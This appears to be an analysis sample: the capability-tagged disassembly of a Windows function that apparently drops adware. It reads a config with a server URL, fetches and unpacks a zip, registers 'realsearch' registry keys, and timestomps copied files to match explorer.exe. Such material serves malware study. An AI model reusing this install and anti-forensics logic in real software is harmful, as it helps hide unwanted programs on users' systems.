Function at 0x402670
Capabilities:
Check mutex on windows
Copy file
Create directory
Delete file
Get common file path
Read .ini file
Timestomp file

Disassembly:
mov eax, 0x1ca4
call fcn.0040ad50
push str.ffaffws
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x422538], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4026b2
mov eax, dword [0x422538]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
add esp, 0x1ca4
ret 0x10
push ebx
push ebp
push esi
push edi
mov edi, 0x41b798
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x4026f9
cmp dword [0x424a20], 1
jle 0x4026f9
mov ecx, dword [0x424a24]
xor eax, eax
mov edi, dword [ecx + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x41b798
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401a30
cmp eax, 1
jne 0x40272d
mov edi, 0x4175c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x41e920
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4035bb
call fcn.00401a30
test eax, eax
jne 0x40275e
mov edi, 0x4175bc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x41e920
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4035bb
call fcn.00401a30
cmp eax, 2
jne 0x4035bb
mov edi, 0x4175b8
or ecx, 0xffffffff
xor eax, eax
push 0x104
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x423480
mov eax, ecx
mov esi, edi
mov edi, 0x41e920
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x104
push 0x42337c
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x423278
call fcn.00401780
mov ebp, dword [sym.imp.KERNEL32.DLL_GetTempPathA]
add esp, 8
push 0x422d64
push 0x104
call ebp
lea edx, [esp + 0x18]
xor ecx, ecx
push 0xa
push edx
mov dword [esp + 0x20], ecx
push 0x41b794
push str.Enable_Browser_Extensions
mov dword [esp + 0x2c], ecx
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
mov word [esp + 0x38], cx
call fcn.00401370
add esp, 0x18
mov esi, 0x41756c
lea eax, [esp + 0x18]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402838
test cl, cl
je 0x402834
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402838
add eax, 2
add esi, 2
test cl, cl
jne 0x402810
xor eax, eax
jmp 0x40283d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402848
mov edi, 0x417568
jmp 0x40288c
mov esi, 0x417564
lea eax, [esp + 0x18]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402879
test cl, cl
je 0x402875
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402879
add eax, 2
add esi, 2
test cl, cl
jne 0x402851
xor eax, eax
jmp 0x40287e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
mov edi, 0x417560
je 0x40288c
mov edi, 0x41755c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x422850
mov esi, edi
mov edx, ecx
mov edi, 0x41ea20
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x38]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.hswg
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
mov edi, 0x422850
rep stosd dword es:[edi], eax
call fcn.00401900
add esp, 4
test eax, eax
jne 0x402922
mov edi, str.realsearch
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x422850
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x422850
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
ja 0x402961
mov edi, str.realsearch
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x422850
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
xor eax, eax
mov edi, 0x422954
push str.realsearch
push str.Software_s
push 0x422954
rep stosd dword es:[edi], eax
call fcn.0040b77e
push 0x41e9a0
call fcn.00403bc0
mov ecx, 0x41
xor eax, eax
mov edi, 0x422c60
push 0x422c60
rep stosd dword es:[edi], eax
call fcn.00401580
push 1
push str._GQ_bCnuK2c2cx4xYVErb1UgblMnKlsxK2Iia14tYVM_K2MkbmYoX1TtbFgv
call fcn.00401320
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x41c118
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str._kindinstalls
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.pid
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41b798
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.prog
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
or ecx, 0xffffffff
mov edi, 0x41c118
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.realsearch
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x41c118
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.addresses
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41e9a0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.progkind
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x422850
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
or ecx, 0xffffffff
mov edi, 0x41c118
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.wv
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x41c118
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41e920
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ee
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41ea20
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x41c118
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x422c60
and ecx, 3
push 0x41c118
rep movsb byte es:[edi], byte [esi]
call fcn.00401850
add esp, 0x24
cmp eax, 1
jne 0x4035bb
mov ebx, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0x422c60
push 0x400
push 0x41eab0
push 0x41b794
push str.progname
push str.START
call ebx
push 0x422c60
push 0x400
push 0x41eeb0
push 0x41b794
push str.endval
push 0x4174d4
call ebx
mov edi, str.service
mov esi, 0x41eab0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x402c97
test al, al
je 0x402c93
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x402c97
add esi, 2
add edi, 2
test al, al
jne 0x402c6f
xor eax, eax
jmp 0x402c9c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035bb
mov edi, 0x41eeb0
mov esi, 0x41eab0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x402cd6
test al, al
je 0x402cd2
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x402cd6
add esi, 2
add edi, 2
test al, al
jne 0x402cae
xor eax, eax
jmp 0x402cdb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035bb
mov edi, 0x41eab0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4035bb
push 0x422c60
push 0xa
push 0x41f2b0
push 0x417568
push 0x4174c8
push str.CONFIG
call ebx
mov edi, 0x417560
mov esi, 0x41f2b0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x402d45
test al, al
je 0x402d41
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x402d45
add esi, 2
add edi, 2
test al, al
jne 0x402d1d
xor eax, eax
jmp 0x402d4a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4035bb
push 0x422c60
push 0x800
push 0x41f2ba
push 0x41b794
push str.srvurl
push str.CONFIG
call ebx
mov edi, 0x41f2ba
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4035bb
mov ecx, 0x200
lea edi, [esp + 0xcb4]
rep stosd dword es:[edi], eax
mov edi, 0x41f2ba
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xcb4]
mov eax, ecx
mov esi, edi
mov edi, edx
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xcb8]
push ecx
call fcn.00401320
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x422c60
mov edx, ecx
mov esi, edi
mov edi, 0x41faba
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push str.srvsize
and ecx, 3
push str.CONFIG
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
push 0x422c60
push 0x400
push 0x4202c0
push 0x41b794
push str.srvkind
push str.CONFIG
mov dword [0x4202bc], eax
call ebx
mov edi, 0x4202c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4035bb
push 0x422c60
push 0x400
push 0x4206c0
push 0x41b794
push str.srvname
push str.CONFIG
call ebx
mov edi, 0x4206c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4035bb
push 0x422c60
push 0x800
push 0x420ac0
push 0x41b794
push str.srvdesc
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x4212c0
push 0x41b794
push str.localpath
push str.CONFIG
call ebx
mov edi, 0x4212c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4035bb
push 0x422c60
push 0xa
push 0x42252a
push 0x41b794
push 0x417484
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x4214c8
push 0x41b794
push str.instxname
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x4216d0
push 0x41b794
push str.firstex
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x4218d8
push 0x41b794
push str.instcn11
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x421ae0
push 0x41b794
push str.instcn12
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x421ce8
push 0x41b794
push str.instcn21
push str.CONFIG
call ebx
push 0x422c60
push 0x208
push 0x421ef0
push 0x41b794
push str.instcn22
push str.CONFIG
call ebx
push 0x422c60
push 0x400
push 0x4220f8
push 0x41b794
push str.counterurl
push str.CONFIG
call ebx
push 0x422c60
push 0x32
push 0x4224f8
push 0x41b794
push 0x417428
push str.CONFIG
call ebx
push 0x422c60
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, 0x41
xor eax, eax
mov edi, 0x42274c
rep stosd dword es:[edi], eax
mov edi, 0x4214c8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403031
push 0x42274c
push 0x4214c8
call fcn.004035f0
push 0x42274c
call fcn.004014d0
add esp, 0xc
cmp eax, 1
je 0x4035bb
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x14b4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14b4]
push eax
push 0x4212c0
call fcn.004035f0
mov ecx, 0x41
xor eax, eax
mov edi, 0x423070
add esp, 8
rep stosd dword es:[edi], eax
lea edi, [esp + 0x14b4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov edx, ecx
mov esi, edi
mov edi, 0x423070
push 0x423070
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov ecx, 0x41
xor eax, eax
mov edi, 0x422d64
push 0x422d64
rep stosd dword es:[edi], eax
push 0x104
call ebp
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x34]
push 0x3e8
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x34]
push eax
call fcn.00401510
add esp, 4
lea ecx, [esp + 0x34]
push ecx
push 0x422d64
push str._s_ssv.zip
push 0x422b5c
call fcn.0040b77e
push 0x422b5c
push 0x41faba
call fcn.00401850
add esp, 0x18
cmp eax, 1
jne 0x4035bb
push 0x422b5c
call fcn.004014d0
add esp, 4
cmp eax, 1
jne 0x4035bb
mov edx, dword [0x4202bc]
push edx
push 0x422b5c
call fcn.004014f0
add esp, 8
cmp eax, 1
jne 0x4035bb
push 0
lea ecx, [esp + 0x3a8]
call fcn.00404870
push 0
push 0x423070
push 0x422b5c
call fcn.00404970
add esp, 0xc
mov bl, al
push 0x422b5c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp bl, 1
jne 0x4035af
mov ecx, 0x41
xor eax, eax
mov edi, 0x42274c
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, 0x422648
rep stosd dword es:[edi], eax
mov edi, 0x4218d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileTime]
not ecx
dec ecx
je 0x403386
mov edi, 0x421ae0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403386
push 0x42274c
push 0x4218d8
call fcn.004035f0
push 0x422648
push 0x421ae0
call fcn.004035f0
push 0x42274c
call fcn.004014d0
add esp, 0x14
cmp eax, 1
jne 0x403386
push 0
push 0x422648
push 0x42274c
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
cmp eax, 1
jne 0x403386
mov ecx, 0x41
xor eax, eax
mov edi, 0x422544
lea edx, [esp + 0x4b4]
rep stosd dword es:[edi], eax
mov edi, 0x422648
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, 0x422544
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
lea edi, [esp + 0x4b8]
rep stosd dword es:[edi], eax
mov edi, 0x422648
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x82
lea edi, [esp + 0x1a0]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4b8]
push ecx
call fcn.004012c0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1a4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1a4]
push ecx
push 0x417418
push 0x422954
push 0x80000002
call fcn.00401420
add esp, 0x18
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x98]
push 0x423480
lea edx, [esp + 0x9c]
push str._sexplorer.exe
push edx
rep stosd dword es:[edi], eax
call fcn.0040b77e
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [esp + 0xb0]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40337b
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call edi
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push 0x422648
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40337b
lea ecx, [esp + 0x10]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call edi
push 0x42274c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, 0x41
xor eax, eax
mov edi, 0x42274c
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, 0x422648
rep stosd dword es:[edi], eax
mov edi, 0x421ce8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40355c
mov edi, 0x421ef0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40355c
push 0x42274c
push 0x421ce8
call fcn.004035f0
push 0x422648
push 0x421ef0
call fcn.004035f0
push 0x42274c
call fcn.004014d0
add esp, 0x14
cmp eax, 1
jne 0x40355c
push 0
push 0x422648
push 0x42274c
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
cmp eax, 1
jne 0x40355c
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x4b4]
lea edx, [esp + 0x4b4]
rep stosd dword es:[edi], eax
mov edi, 0x422648
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x82
lea edi, [esp + 0x1a0]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4b8]
push ecx
call fcn.004012c0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1a4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1a4]
push ecx
push 0x417404
push 0x422954
push 0x80000002
call fcn.00401420
add esp, 0x18
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x98]
push 0x423480
lea edx, [esp + 0x9c]
push str._sexplorer.exe
push edx
rep stosd dword es:[edi], eax
call fcn.0040b77e
add esp, 0xc
lea eax, [esp + 0x98]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x403551
lea ecx, [esp + 0x24]
lea edx, [esp + 0x2c]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call edi
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push 0x422648
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x403551
lea ecx, [esp + 0x10]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call edi
push 0x42274c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.00403d20
push 0x4220f8
push str.counterurl
push 0x422954
push 0x80000002
call fcn.00401420
push 0x41b798
push 0x417400
push 0x422954
push 0x80000002
call fcn.00401420
push str.realsearch
push 0x4173f8
push 0x422954
push 0x80000002
call fcn.00401420
add esp, 0x30
lea ecx, [esp + 0x3a4]
call fcn.004048b0
push 0x422c60
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [0x422538]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1ca4
ret 0x10